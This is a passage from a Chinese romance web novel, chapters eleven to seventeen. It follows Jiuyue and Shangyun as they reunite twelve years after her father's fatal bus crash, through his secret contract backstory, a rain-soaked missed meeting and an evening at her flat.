想到这里,情绪低落下去。九月头往后仰,靠在软软皮椅里,车窗外蒙蒙雨景,更让人伤感,泪意又浮上眼眶,她赶紧闭上眼睛。 车内二人一猫,都陷入沉默。在沉默中,九月倏地想起自己还没说去处,但他好像有了主意。 没一会,车停在c市预防站,“下车,去注射疫苗。”他说话时,瞥了一眼她手臂上渗出血珠子的伤口。 九月依言下车,人和猫都注射了狂犬疫苗。 她似乎平静不少,“你什么时候回国的?” “这些年,过得好吗?”他不答反问。 听到这句经典问候,九月笑笑不作回应。 见九月没有说话,尚云才又说,“现在住哪?” 九月说了一个地址。尚云调转方向,再没说一句话。说什么都是枉然。 “谢谢。”下车时,九月说。 雨已经停歇,她看着墨色奔驰消失在茫茫暮色里。 他连一句临别的客套话都不曾有,而她亦没有难舍难分的眷恋。 第十二章 你要活成他喜欢的样子 九月回到自己的房间,开了灯,轻轻把门带上。 找了一个纸箱,铺些废弃的衣物,算是一个简单的猫窝了。倒了一点牛奶在小碗里,放在猫面前。它皱着鼻子嗅两下,才伸出舌头来舔食。 伸手摸摸它的头,说道:“以后你就是这个家的成员了,我叫九月,这个家缺少温暖,你就叫洋洋吧,暖洋洋,喜气洋洋的意思。” 它饿极了,狼吞虎咽,最后还舔舐了碗沿。九月把它抱进浴室,接温热的水,刷洗它身上的泥污。 手里不停动作,眼前却不断闪现他的面孔,他一闪而过的失望眼神,耳边仿佛还萦绕着他那低醇如酒的声音。 思维在某个地方断层……往夕记忆像是开了闸的河流。 九月在不大的房间里,翻箱倒柜。这么多年来,她的心情从来没有像今天这么煎熬过,她却没法让自己消停下来。慌乱中,打破了茶杯,碰倒了台灯,撞疼了膝盖。 似乎要证实自己猜错了,她逼着自己寻找那张旧画,几近残忍的逼迫。屋里一片狼藉,可是旧画却仍不见踪影。 她颓丧的坐在地上,闭着眼睛把头靠在床沿。 “喵呜”。洋洋好奇的打量屋里的环境,像是突然找到什么好玩的东西,翘着尾巴在地上转着圈圈。 “洋洋,让我静一静,你回自己窝里好吗?”九月闭着眼睛,不耐的用手扫着洋洋,洋洋瘸着一只腿站立不稳,“瞄呜”一声又调皮地埋头玩弄。 “洋洋!”她睁开眼睛,声音不大,却带些严厉。洋洋似乎懂得察颜观色。一瘸一拐地回客厅了。洋洋走开后,地上蓦然多出一张折叠好的画纸。 她捡起来展开,看到酷似父亲的那张脸的人物画像,打扮古风配备寒气逼人的刀,背面还有一个圆圈,圆中间是那道划破纸张的“x”。 他被她埋在心里十二年,从不曾提及,就算是梦里,关于他的也仅仅是一个身着铠甲手执弓箭的模糊背影。 如今他又出现在自己面前,该清算的终于到了清算的时候。 往日的点点滴滴涌上心头,她挣扎几下,掉进记忆黑洞里。 十二年前的夏天,父母照常上班,她正在高中一年纪,有人突然出现在教室外面,让她赶紧回去,爸爸开公交车酒驾,发生车祸,全车十几口人无一幸免。 九月双腿发软跌坐在地,半天才痛哭失声。 奶奶闻此噩耗,当即倒下,没几天也病逝。 因为认定为酒驾,法院判决公交车公司赔偿70%,已亡司机家属赔偿30%。九月和尚云把所有存款与家当变卖赔偿给车祸伤亡家属,还是差一大笔欠款。 那天早上,尚云拦住要去找工作的她:“九月。赔款的事,我来想办法。” “我不能把所有重担,放在你一个人的肩膀上。这不是小数目。” “月儿,听话。我有办法的。”尚云脸上有一丝决然和悲怆。 九月看着古尚云黑瘦了一大圈的身体,心如刀绞。“什么办法?去码头搬货吗?爸妈走了,奶奶也走了,我不能眼看着你也倒下。” 尚云擦试她腮边的泪水,心酸得一塌糊涂。“我已经说服家属们给我们宽限时间,相信我,会想到办法的,一切都会好起来的。别担心。” 九月担心他去做危险的事,便暗自跟在他身后。 他在外面公共亭打了个电话,隔得很远,九月断断续续听到“都是我害了他们”之类的话。那天,九月虽然跟平时一样,却恍恍惚惚了一整天,心里觉着尚云身上藏着一个谜团。 第二天,尚云不告而别。 事情发展之迅速,让她来不及反应。以至于连她自己都不知道,那一别竟会是漫长的十二年。 她准备出去寻找尚云的时候,一个衣冠楚楚的西服男,循着地址找到家里截住她。 那人确认了她就是九月,站在院子里就打开天窗说亮话:“尚云少爷已回了自己家,今天早上飞往法国,也许很久以后才会回来。这袋子里有五十万,尚云少爷知道你正需要钱,就当补偿这五年里少爷在你家的吃喝用度,请您一定要收下。” 她如当头棒喝,脸色苍白的看着那个纸袋。 西服男见她迟迟不接,把那大纸袋放在她脚边。 “你说什么?尚云少爷?”她脑袋嗡嗡作响,眼神空洞无神地盯着西服男。 九月胸中一窒,回想这五年来他绝口不谈身世,回想他藏在抽屉里打了“x”的那卷画纸,回想他打电话说“都是我害了他们”,想起父亲滴酒未沾却突然“酒驾”,所有疑点堵在胸口让她无法呼吸,像是压着一台碎石机,碾碎了她柔弱的肌骨。 “是的,是尚云少爷。”西服男点头。 “那么,祝贺他。”可是,为什么心口疼得像被巨兽撕扯下一大块,在看不见的地方血流如注。她躬起身子,紧紧捂住胸口,泪流满面。 “等等!”西服男放在袋子正欲离云,被她叫住。 “我不要他的钱,一分都不要。” “慕小姐,我只是来传达他的意思,钱的事你得收下,我的任务也算完成了。” “我说不要!一分都不要!!”九月嚎啕大哭,粗鲁的推搡他,抓起脚下的那个钱袋砸在他身上,胡乱抓了一把石子一并砸过去。 刚巧走到院门口的朱明见到这一幕,以为九月受了欺负,冲进来拽着西服男推出老远。 西服男被他俩疯狂的样子吓住了,捡起鼓囊囊地纸袋落荒而逃。 她拿着家里唯一财产——房产证,抵押给银行贷款还债。二十年的还款期限,按月还清债务。因为同情她的遭遇,银行方免去她全部利息。 还清了父亲的债务,她当天就离开了江源。一无所有,拖着不多的行李,流浪在他乡时,她竟然没有哭,一滴眼泪都流不出来。肝肠寸断又如何,她的眼泪换不来任何失去,一切已覆水难收。 十二年了,她等了十二年,故事终于可以续写了! 强抑住回忆带来的悲伤,嘴唇牵动,她发出无声地笑。 随着嘴唇的牵动,刚才紧咬的唇边烈然一痛,齿间一片腥甜。九月伸手一摸,指尖上沾着殷殷血迹。 她站起身来,踉踉跄跄的走去浴室清洗血迹。唇上的血,顺着水流,消失在盥洗池里。抬起头,壁镜里那张美丽瘦削的脸上毫无血色,曾经黑亮的眼睛里空洞无光。 眼泪如断了线的珠子,滴落在水里。她微微牵动嘴角,用讥诮地语气对自己说:“九月,哭什么?你看看你现在人不人鬼不鬼的样子。如果我是尚云,躲你都来不及,你要活成他喜欢的样子,才有机会啊。” 第十三章 战神附体 普世文化咨询公司,灯火通明。 “你确定老板一下午都没出来吗?他办公室好像没亮灯。”木信问正在忙碌的阿闲。 “我今天下午一直在座位上整理资料,确实没见他出来。”阿闲很笃定。 木信惦起脚,朝门缝里张望,尚云办公室里漆黑一片。 尚云坐在办公室里,没有开灯。下午一则变卖安源镇房产的消息充斥眼底,他虽波澜不惊,但内心并不平静。前几天见她时,她并不像过得不好急需要用钱的样子。 她到底想做什么? 桌面铺呈一帧画像,天色暗下来,窗外的夜景从落地窗投进来微弱的光,依稀可辨画的内容。 他盯着这帧画一动不动,这十二年来,无数次拿起展开又小心收起,画中身着铠甲意气风发的少年指月拉弓,每一笔都熟悉到刻印在他的心里。 这是他去大学报到的前夕,九月偷偷放在他房里的。以一幅满弓射月的《漠影》含蓄表白心意,他怎能不明白?却至今不敢回应。 尚云指尖轻轻抚过画纸。俊眉紧皱,目光里都是痛楚。 敲门的声音响起。尚云勒令自己斩断思绪,转过身来,把画纸小心收进抽屉里。 “进来。” 木信轻轻推开门,尚云坐在黑暗中。 “老板,你还好吧……” 木信经常会错觉到尚云是一个神,天神般的心志力。他是个节制自律的人,一个永远不会放任自己松懈的人,永远不会说累的钢铁侠、每件事从一开始就要求自己做出正确选择永不犯错的天神。 相对他对自己的残酷,对其他人却很包容。特别是他“不以营利为最终目标”的经营理念受到无数人侧目与嘲弄,他像一个孤勇者,不解释不辟谣,坚持自己的信念披荆斩棘一往直前。 也是木信放弃元仕大好前程,追随他创办普世文化的原因。 这几年跟随他在商场打滚,上天遁地,哪怕被抛在巨浪之颠,也不曾发现他除了冷静沉稳之外的任何情绪。他的从容不迫遇事不乱让人佩服得五体投地。而现在,老板是怎么了? “什么事?”尚云的声音深沉有力,但略微沙哑。 “需要我给你点个外卖吗?”木信没话找话:“我最近发现一家新开不久的餐厅,挺合你口味。” “不用了,晚上有点事。你也早点下班。”尚云看着微信里金志高发来“金猎人”酒吧的位置图,起身拿外套出去了。 车子停在酒吧门口,尚云将车钥匙给泊车小弟,抬头看了一眼,“金猎人”的霓虹招牌闪烁着好看的光芒,在宝宁市,它可是高官显赫、名门贵胄最得宠的消费场所。 大堂的驻唱歌手用富有磁性的声音唱着情歌,灯光昏暗,滚动彩灯不时射过来各种变幻的彩光,照在人的脸上,更是晦明难测。 找到金志高,一行五个人正在花样拼酒。 见尚云来了,都停了下来,将他作为主角。“子腾,叫人上酒。” 子腾马上招来侍者,要了几杯价格不菲的酒。聊着聊着,话题引到尚云身上。 “尚云,听说你才创业两年,就已经是行业的扛把子了?你怎么做到的?”这个叫子腾的年轻男子奉承意味很浓。 “都是大家虚抬了。”尚云笑道,明白今晚又是金志高给他组的“委托局”。 “动作快准狠、神效而利落,就是尚云的风格。我们金仕集团从低谷冲上高峰,全是尚云十年以来的实力见证。来,走一个!”长相微胖、年纪在三十多岁的年轻男子正是金志高,说着举起酒杯。 三人一饮而尽。 舞台上一曲唱罢,金志高跟侍者耳语,示意请歌手过来喝一杯。 尚云见状道:“志高,这么多年,你的风格真是一点儿没变。”到哪都能撩妹。 志高哈哈大笑,他揶揄道:“尚云,该说你什么好,这么多年的哥们了。人说近墨者黑,近朱者赤。就是块石头也会变了三分颜色呀。” 子腾一下子明了,笑道:“不拘小节最是洒脱,看来尚云兄平时忙于工作,很少出来玩,一时半刻放不开正常。” 志高不紧不慢的对子腾道:“你有所不知。他呀,是个痴情种。” 子腾正准备接话,这时歌手过来了,是个性格豪放的年轻女子,落落大方坐在志高旁边,看起来彼此很熟悉了,你来我往开着玩笑,干了一杯酒又上台唱歌去了。 虽不喜欢这种场合,但这场酒局,尚云也耐着性子耗到最后。子腾委托尚云帮他解决公司的困难,也接手不误。 志高组的“委托局”,他从来都会给足面子,只因承他十二年前的恩。 当年志高所说的小姨来大学一探虚实,实则主要为了见尚云不假,但原因并不是因为志高家里对他交友不放心,而是志高无心接手家里的产业,一心只想钻研历史上的冷兵器。 其父亲便差点被气得升天,好在志高聪明又大胆,说自己倒有一个两全齐美的主意。 自己有一个校友,交往一段时间了。人品甚好,学业上好学又勤勉,十五岁的年纪已经上大学了,可谓天才。恰巧他学的就是工商管理,如果说服他来自家公司,又有校友这层关系,父亲再跟他认个干儿子啥的,这事就妥了。 自己可以继续研究自己的喜好学科,家里公司也不愁无人管理。 虽然觉得不甚可靠,但母亲为了缓和父子二人关系,便叫志高的小姨出面去看看这人是否靠谱,何况小姨也是公司里的高管和股东之一。 尚云当然不知道自己参加的是“鸿门宴”,只当是出面给志高佐证,说他在学校靠谱之类的美言。 小姨跟他聊到关于公司管理,尚云想起自己前世领兵作战那些经验,便不由自主说了一番自己的见解。 “市面上哪样产品都有无数选择。重要的是找到自己的优势,顺势打造产品护城河,拉宽同行之间的差距。这是防御也是出路。遇时势推动,就该顺应天道。‘天道’一说初看空泛,实则像人的身体,有神经系经、血管经脉、骨骼分布。虚虚实实,安排得明明白白,每朝每代都有天道的‘分布图’,该强时强,该弱时弱,有规律可循。 如何在天道之下,利用人的智慧去维稳?我们在当下,身在局中,没有经验可谈。好在能借鉴历史,中国历史上不乏杰出治国之才,如李世民身处高位,还能听取杜如晦忠谏之言方成大业; 东汉中兴,全靠刘秀三个动作,开源节流富裕百姓,节俭为美德,积极开拓新市场,对于管理与授权上,从之前的多头管理到独立集权,就不会形成乱象。在人才的任用上善于用人之长,螺子有螺子的优势,千里马有千里马的优势,放对了地方才能显示其价值。 另外,极其有为的治国人才反而为人低调亲善,君臣和谐。一个公司最有价值的东西叫文化,文化其实就是公司精气神,而公司的整体精气神是由全员心态左右的。所以,企业经营首要就是经营文化,离不开引导人心,切实站在公司全员立场想问题,集众人之力实现全员之目标、公司之愿景,这才是最有效的管理。” 第十四章 莫名车祸 这一席话,让小姨对尚云刮目相看,自称弗如。 那以后,志高的建议被父亲所采用,命他不论以何种方式,都要让尚云入职自家公司。 而尚云则有自己的想法,任他如何软话说尽,因势利导,都不为所动。 前世的经历让他痛悟,屈居人下必导致命运不公,不希望前世的悲惨再次发生。他希望自己就是那片“天”,能护荫自己身边的人。 然而,他的坚持在命运之轮下终究还是螳螂挡车,当初的坚持显得极其可笑,可怜。 在慕家无法清还伤亡家属赔付款时,他答应了志高,只提出一个要求,预支50万工资,可以签订十年契约。 那个清晰梦境中的老人之言,始终萦绕在他脑海,他悲痛之时,电话里不小心向志高吐露了那句“都是我害了他们”这句秘密。 好在志高并未察觉到什么,只是安慰他节哀,承诺一定帮他。 志高跟父亲商量,他父亲则表示如果要心无挂碍地为公司服务,十年之内需约法三章,不可将双方合作的消息透露给任何人。不能再去联系家人。不允许谈情说爱。 志高也表示不解,但父亲一定要这么做,他也很为难。毕竟五十万在当时并不是小数目,公司又在低谷期,希望得到尚云极具诚意的承诺才能合作下去。 尚云答应了。为了让九月安心接受这笔巨款,他谎称自己回了显赫家世的原生家庭,出国留学,暂时不能回国相见。这番话由志高找人口述给九月。 两年前,双方的合约总算解除,尚云全数做到。不仅将负债累累的金仕集团扶上巅峰,也没有联系任何人,更没有谈情说爱。连志高的妹妹金霖主动成那样,他也未曾有过一丝一毫的心动。 这让志高父亲深感搬起石头砸自己的脚,十年期限一到,只能眼睁睁看着他离开公司。 “先生,到了。”代驾一句提醒,打断了他所有回忆。 把他的车停好后,结算好就走了。 尚云头昏脑胀地推开车门,摇摇晃晃地打量四周,半天想起来这是九月居住的小区。 他缓缓在花坛上坐下,拿出烟,点上。他平时没有抽烟的习惯,这是参加酒局与志高他们会面,才提前买了一包。 两支烟抽完,他摸出手机,看到那串电话号码,他下意识地点击,电话就自动拨打过去。 直到那头传来“喂”的一声,尚云还没反应过来。电话放到耳边,一时竟不知说什么。 九月又询问了几声,听筒里一片静默,有隐隐车流声从那端传来,猜出拨打电话的人在街道上。 就在她准备挂电话时,对方传来低沉微哑的声音,“老家房产要出售吗?” 九月沉默了许久,平静的承认了。“没错。” “明天下午有时间吗?见面谈!” 见九月沉默,他不耐烦道,“怎么,不愿意卖给我,还是已经出售了?” “好,那明天见。”她听出来他有几分醉意,不愿周旋。 过不久,九月手机上有陌生好友征求添加微信,添加请求上写着:“明天下午七点,帝罗咖啡。” 九月通过验证,回复他一个字:“好。” 点开他的头像,她发现尚云的朋友圈,干净得像一张白纸。 这符合他的性格。如深潭一样,浑身上下都是谜。 第二天早上,普世公司开完早会,尚云找木信交待了一些事情。 “木信……”他似乎还有些事没说完。 “老板,还有什么吩咐?”木信拿着尚云刚签批好的文件,还没走出门口,又被他叫住。 尚云不自然的清咳一声,说:“那个……一般去见老朋友,会穿什么样的衣服合适?” 木信以为听错了,反应过来后笑着说:“那得分异性和同性。如果是同性,那就休闲一点。” “嗯,见异性呢?”这臭小子! 见尚云公事化的表情,木信也不敢露出半点玩笑,收敛笑容像是作报告:“如果对方是活泼型的你就穿热情时尚点,如果对方是文静型的,你就穿颜色浅、风格简单的衣服。不过,我觉得老板别穿颜色太深的衣服赴约才好,可以试着穿白色、天蓝色的服装。如果你相信我的眼光,忙完手头工作我帮你买回来。” “嗯,下午的重要会议尽量提前,今晚上的所有工作推到明天。晚上不用来接送,还是我自己开车回去。” “好。”木信严肃的表情不变,又加了一句:“其实老板穿什么都好看,祝马到成功,修成正果。”说完转身快步溜走,蹦哒出办公室,严肃的神色即转为眉开眼笑。 阿闲都被逗乐了,忙打听出了啥事。 木信只说,“佛曰:不可说,不可说。” 尚云嘴角扯出一抹笑容,只昙花一现,又迅速隐匿。 下午,尚云专门为这次见面,托木信买了一套米色休闲西装,款式时尚,剪裁精致,衬托得他修长俊逸的身材更加英气逼人。墨色轿车行驶在城市略带萧瑟的秋景里。修长的手指,骨节分明,按了个号码。 “在哪里?” 九月似乎在忙:“我有点事耽搁了,尽量准时到达你指定的地点。” 尚云转弯时,突然一个人影闪进眼帘,尚云暗惊,急转方向盘。把车停稳,尚云下车过去扶起坐在地上的女人。 “小姐,你没事吧?” 年轻女人扶着他的手站起来,“没事,脚扭了一下,不碍事。” “带你去医院做个检查,看有没有伤到骨头。”尚云欲打电话。 “不用了,你没撞到我,我被吓到自己摔的。”年轻女人皱着眉,拉拉他的衣袖:“你帮我捡一下东西,可以吗?” 尚云这才发现地上还有东西,看起来像个大相框,用纸皮包住,看不到里面。捡起来交给她。 年轻女子接过他递过来的东西,自顾自的拆开纸皮:“可千万别摔坏啊。” 尚云看了她一眼,沉吟道:“你还是去医院检查一下比较放心,虽然车子没撞到你,但事情却是因我而起。我叫人送你去医院。” 说着拿出电话,刚找到阿闲的电话号码,就听女子一声惊叫。“哎呀,刚裱好的画框,摔坏了,这可怎么办?马上就要寄出去了。”年轻女子紧张地盯着手上的画框,右侧确实裂了一条缝。 古尚云视线移到画上,顿时一怔。收起手机,从她手里拿过画框,道:“这是你画的?” 第十五章 擦肩而过 年轻女子看了看他,摇头:“不是,朋友画的。” 他定定看着画,目光瞬息不移:“这样吧,你把地址给我,我帮你拿去加急重新换一个画框,换好了直接帮你寄。就不用耽搁时间在你我之间倒来倒去。” “我怎么相信你?”年轻女子目光流露出来的怀疑很明显。 他想了想,掏出一张名片递给她:“这是我的名片,如果对方没收到东西,你随时可找到我。” “好吧。”她接过名片,“我随时会打电话追问画的事情,你可不能推脱。” 尚云看了看腕表,“当然不会。”说完拿着画转身就走。 才走两步就听身后女子“哎哟”一声软下去,抚着左脚脚踝处,皱眉呼痛。 尚云站在原地犹豫了两秒,再瞄一眼腕表,然后转身:“上车吧,我送你去医院。”不再迟疑,为节省时间,主动过去搀扶起她,让她坐在副驾驶位。 “真对不起,耽搁你时间了。”年轻女人显得不好意思:“才十分钟你看了三次时间了,你应该有很重要的事情要去办吧?” “嗯。确实有要紧事。”古尚云不善于跟女人聊天,淡淡的应了一声。 女子见他毫无聊兴,便也不说话。手上把玩着他的那张名片。 “普世文化咨询公司。尚云……”女子神色变了变。她聊天的兴致又高起来,“自我介绍下,我叫小竺,尚总你好!”小竺伸出手。 因开着车,也不便握手,他对小竺伸过来的手只淡淡点头,道声“你好”。 小竺碰了软钉子,把手缩回去了。 尚云从后视镜里瞥见摆在后座上的那张画。他怎么会认不出她的画? 多年的商场鏊战,除了让他学会在最短的时间内做出正确决策,更让他学会迅速隐藏情绪。只消几秒钟,他脸上已是一片平静,漫不经心地道:“你那朋友是画家?” 小竺见他主动挑起话题,便有意无意透露道:“迟早是,她很有画画天赋。我的一个朋友对她以及她的作品有浓厚兴趣,人人都说见字如见人,其实见画也如见人,毕竟作画者的价值观及灵魂都融合在作品里了,灵魂共振更容易走到一块。” “她有你这样的朋友,是她的福份。”古尚云波澜不惊的道。 小竺也没在意,接过话头:“其实这话应该我说才对。她单纯善良、重情重义。她少年时期家遇变故,从此颠沛流离,遭遇几次大劫,差点就没命了……” 听到这里,墨色轿车直直朝公路护栏上撞去。 “啊!”小竺惊叫一声。 他回神猛然踩紧刹车,险险躲过一劫。古尚云抚额,“抱谦!昨晚没休息好。” 小竺缓过神来,诧异地看着他。“错在我,不该跟你讲这些……让你分神。” 车内陷入短暂的沉默。 这时,没人留意,一辆出租车擦肩而过,他们谈论的对象就在那辆车里。 头顶天空黑压压一层乌云,天空提前黑下来。路灯瞬间点亮,却照不亮那高悬的乌墨浮云。不一会儿,大雨就噼哩啪啦的掉下来。路上的行人飞奔着躲着雨点,车辆反而慢下速度。 九月看着越来越逼近的指针,心里急得像热锅上的蚂蚁。 “师傅,可以再快一点吗?” “小姐,下这么大雨,本来路面就滑,又不容易看清前面的行人,开太快容易出事呀。”司机很为难。 “这样……呃!那你还是安全第一吧。”九月知道他说的是实情,不再催他。老天似乎特别爱跟她开玩笑,每次她赶时间,总是用暴雨来招呼她。 眼看着指针结结实实的压在那个点上。她无力地靠在车椅上。 他会不会已经走了?他一定很不耐烦。从包里摸出电话,飞快按下他的号码:“您拨的电话正在通话中,请稍后再拨。” 随即传来电量不足的提示音。 天要亡我。九月欲哭无泪的瞪着手机。似乎是回应她,手机叮叮咚咚一声响,自动关机了。 而她不知道的是,她刚才拨的那个号码,正在同一时间拨打她的号码。 小竺正在做拍片检查,尚云站在走廊尽头。看着那急风骤雨,胸间渗透出隐隐担心。 犹豫良久,他拨了她的号码。想告诉她,如果已经到了帝罗咖啡厅,就在那里等他,很快就来。然而,手机里传来忙音。 手指微动,接着重拨了一遍。对不起,你拨打的电话已关机…… 他一怔,一股无名火迅速掩盖掉胸腔里那丝微弱的担心。 “尚先生。” 尚云回过头来,牵强一笑:“怎么样?医生怎么说?” “没事。医生说是扭到了,给我开了外敷药膏,说是过两三天就好了。” “没事就好。走吧。” 走到医院门口,到处一片雨雾迷蒙,瓢盆大雨浇灌在地上,位置低的地方已经汇集了很深的水坑。计程车有秩序的排列,轮流上来接走滞溜在医院门口的客人。 “送你回去?”尚云很绅士的问一句。 “不用了。我知道你还有很急的事情要办,我自己坐计程车回去就行了。” 尚云也不坚持,点头:“好吧。”伸手帮她拦了一辆车。 夜幕降临,c市的繁华夜景,在雨里越加妩媚多姿。行人匆匆,车辆……滞行。 真是屋漏偏逢连夜雨。车子在离帝罗咖啡一公里的地方堵得水泄不通。 “堵车了。”师傅伸长了脖子看着前面路况,抓起对讲机,用c市方言就讲起来。 “师傅,怎么了?”师傅刚放下对讲机,九月就迫不及待的问他。 “前面出车祸了,估计一时半会走不了。” “怎么会这样?” “听说是车子开太快,没来得及刹车,撞到一个路人。所以说,不管下雨还是天晴,车都不能开太快,安全第一呐。”师傅叹息的摇摇头。 九月根本无心听师傅的经验之谈,她把钱交给师傅,边开门边说:“师傅,我赶时间,不等了。” “姑娘,秋雨很冷,小心伤风感冒啊。”师傅的话被九月远远抛在身后,人已消失在雨幕里。 帝罗咖啡。 尚云一口气跑上二楼,稳了稳心绪才走进去。扫视了整个厅堂,并没有找到她的身影。入座者都是成双成对,莫不优雅精致。那浪漫惬意的氛围,更衬托出他此时的狼狈。而他脸上的表情,可媲比外面阴沉的天色。 亏他一路油门,一刻不停的赶来。原来她压根就没当回事,从头到尾就他像个傻子一样,围着她打转。 第十六章 与他独处一室 他双目无神的走下楼时,两个服务员在等电梯。边说着话,边发出惊嘘声。声音不大,刚好飘进旁边尚云的耳朵。 “太惨了,听说身首异处,刚才送外卖的小张回来,说那司机都吓傻了。” “你说下这么大雨,开车的也不看着点。” “可是那女的走路也该看看路况再过马路,还只是亮了黄灯就冲过来了。” “也许是有急事吧……” 九月!她一向这样急躁!小时候就经常如此。 尚云箭一样冲下旁边的楼梯,留下身后愕然回首的两个女服务员。 帝罗附近只有一个红绿灯路口,古尚云知道那是她来帝罗咖啡的必经之路。他疯一样的冲进雨幕里,脸上惊痛的表情被雨水一遍遍洗刷。 不会的,不会的!不会是她。一个声音一遍遍阻止他胡思乱想,却停不下怆惶脚步。 打着伞的行人,纷纷驻足,回头看着他。长空之下,寒雨泻落,路灯朦胧,树叶飘零。一切静止了,似乎只有他在这静止的世界里奔跑。 他眼睁睁看着救护车“呜哇”着离去,眼看着那一滩刺目的血迹在雨水中晕散变淡,看着堵塞的道路在交警的指挥下渐渐通畅。 他的腿再也挪不开半步,他胸腔里撕裂般的痛楚,在狂风骤雨中越来越深。脸上早已分不清是雨水,还是眼泪,湿透他呆滞麻木的表情。 他所在的人行道,迎面奔过来一个人,闯入他的视野。长长的头发被雨水浸湿,额前短发贴着瘦削清丽的脸蛋,苍白的嘴唇,因为长途奔跑微张着气喘吁吁。 她看到了站在雨里狼狈不堪的他,停在不远处,眼睛闪过惊疑、诧异、不解和欣慰。 四目相望,世界变得寂静又沸腾,他们的血液在血管里肆意冲窜,就连嘈杂纷乱的车笛与雨声,也变成了最动听的乐曲。 千思万绪间,他很想走过去,狠狠拥住她。 然而,他深深看她一眼,抬脚走了,留给她一个背影。 他剪裁得体的西装被雨淋湿,紧贴他修长的身体,越发显得挺拔俊逸,精心打理过的发型被大雨淋乱。然而他的身形,依然透出从容不迫的沉稳气势。 九月跟在他身后,舍不得移开视线。只有在他转身背对她,她才敢如此毫无顾忌地流露贪恋。 两人淋着雨,一前一后。路人看着,并不觉得可笑,倒像是觉得这个世界是他俩的底景,他们只是写实画卷里的主角。 经过这一折腾,没法再回帝罗喝咖啡了。尚云把她送到住处,车子就停在她楼下。 “上去把头发吹干吧?”她轻声问,两人头发还在滴着水,贴伏在脸颊上。他的眼睛无神地盯着挡风玻璃上不停摆动的雨刷。 “我没打算这样回去。”尚云声音清冷。这种不容置疑的语气,大约也就他能运用得如此具有魅力,让人连抗议的念头都不曾有。 尚云一言不发,跟着她上楼,径自坐在沙发上,看着她关好门。 洋洋围着她转着圈,好奇的瞪着沙发上的男人,像是欣喜终于见到这屋子里第二个的人类,它一瘸一拐的靠近,想讨好卖乖。 九月知道尚云从小就讨厌带毛的小动物,刚要叫洋洋回来。尚云已经随手抓过一本杂志丢过来。洋洋躲避不及,被打着屁股。委屈的“喵呜”一声,躲到九月身后。腰背弓起,尾巴竖直,一副势不两立的样子。 “洋洋,乖乖回去。”九月拍拍洋洋的头。它意识到主人的气场太弱保证不了它的安全,于是乖乖溜回自己的窝,眼睛仍然警惕监视着男人的一举一动。 九月捡起杂志,看到他大剌剌坐在那,反而不好去沙发那边,湿衣服贴着身体,感觉怪怪的。 “我去给你找衣服,你洗个热水澡。”九月试着调节屋里怪异的气氛。 “嗯。”他背靠着沙发,仍是看着她。 “那你先坐一下,喝杯开水。”九月倒了一杯开水递给他,心跳得呯呯作响。 “嗯。”他重复那个字,接过水杯。指尖触到她的手背,像是被开水烫了似的,她迅速缩回去,差点洒了水。 他抬头看了她一眼,脸色愈发沉静。九月不自在的溜进卧室,翻箱倒柜,挪出一个小箱子,箱子打好包,似乎从来没开过,但很整洁。 用剪刀剪开封箱胶纸,淡淡的樟脑丸香味溢出来,沁人心脾。箱子里面,全是他的东西。有他穿过的衣服、用过的笔和笔记本、他小时候写的作文、一些试卷。这些,都是十二年前她从祖宅里带出来的。十二年来,跟着她流离在城市的各个角落,却从没打开过。 此时铺呈在桌子上,所有的记忆全都回归。 一只手从后面,抽走一本作文本。九月没想到他会跟进来,心中一惊,回头反射性的伸手去夺。他力气大得吓人,仅一只手捏住,她便需全力对付。 “喀嚓”一声,作文本被撕成两截。 两人俱是一愣。九月恨恨看着他,眼圈发红。 他有一瞬间的心虚,立即恢复冷静,把手上的半截丢在桌上,若无其事的道:“这些早该扔了。”转身出去了。 九月红着眼圈把他少年时期的作文本收起,她挑出一套最大的睡袍,走到客厅。他正背对着她在看墙上挂着的画。 “衣服准备好了。”她说。 他转过身,看着衣服,“你让我穿这个?”他皱着眉头,掩饰内心复杂的情绪。 “我这里只有这个。”九月实话实说。 衣服上有极淡的樟脑清香,不算讨厌的味道。看了她一眼,“浴室在哪?” “在卧室隔壁,不比你的豪华浴室,你将就一下吧。”说完转身进了卧室,准备自己的衣物。 尚云嘴角一牵,进去了。 秋雨下得急,收得慢。夜越深,越冷。他的到来,似乎让整间屋子有了温度。明明很冷,一直打喷嚏,一直汗毛竖起,九月却觉得很闷很热。 九月把电视打开,电视调到娱乐频道,炫丽的舞台上,站着一个初出道的女明星,唱着一首陌生的歌。 “总相信云能够靠近,在孤独寂廖的夜里,牵着月亮漫天翩飞。想在寒冷的时候拥抱,发现还隔着距离。对视之间波动的无奈,藏着猜不透的沉吟。你看那月亮的心,坦白透明如雪一样冰清。倾泻一腔诉不完的深情,缠绵至今。阳光照亮月儿,月儿牵挂着云,丝丝缕缕的绝恋,续着斩不断的情缘,星星是月亮的眼泪,倒映并肩走的身影,挽手走到夜深,万物己没有了声音,轨道不能逆行,注定不能转身,我愿站在黑暗里,追随你的背影,哪怕我的爱,只能燃烧到黎明。” 第十七章 重温旧梦 女明星只唱了一遍,九月就记住了这首《转身》。 ……轨道不能逆行,注定不能转身。我愿站在黑暗里,追随你的背影。哪怕我的爱,只能燃烧到黎明。 这样的爱,太过惨烈。一个人要多爱那个人,才有勇气一直站在他身后,追随那注定不能转身的爱情?要有多爱,才会把轰轰烈烈的爱付诸一炬,燃烧自己来照亮他直到天明? 因为有切身体会,所以光是想想,她心里就已经很痛。 “洗好了。”低沉的声音在身后响起。 九月转头,看到他就在站沙发一侧,清明的眼睛牢牢盯着她,也不知道在那站了多久。 这么快?这速度…… 她站起来,打量了他一下,终于扑哧一声笑出声来。 毕竟是十二年前的衣服,他现在近一米八的个头。睡袍显得有些短,跟他一本正经的严肃表情,严重不符。 已经十二年没见到她的笑容了,此时短短一笑,让他几分恍惚。 他本来很郁闷,这些年他尔雅得体的光辉形象,就这么毁于一旦。也许是被她久违的笑容所感染,抿着唇,视线一瞬不落的停在她身上。看到她不加掩饰的笑容,以往开心幸福的感觉,全然回来。 她笑容短促,嘎然而止,就像被铡刀切断一样整齐。 她看到他流露在脸上温柔神色,怔了一下,局促不安起来。 她听到一个平和的声音,像是回到了十二年前:“九月,湿衣服不冷吗?还不快去洗澡。” 他这么快就洗好了,是担心时间长了她会冷吗?九月脸上火辣辣一片,低头绕过沙发,拿起自己的衣物就进了洗澡房。 尚云打了电话给干洗店来收衣服,然后静坐沙发上,打量房间。 不一会,就有店员循址而来。 九月出来时,尚云正靠在沙发上看电视。 电视里忽然传来众声呼喊,疯狂尖叫。九月的注意力被转移到屏幕上,原来是某着名歌星走上舞台唱歌,舞台下的粉丝们激动不能自已。 尚云双眉微拢,拿起摇控器把电视关了。“有没吃的。”说话时面不改色,一副理所当然的样子。 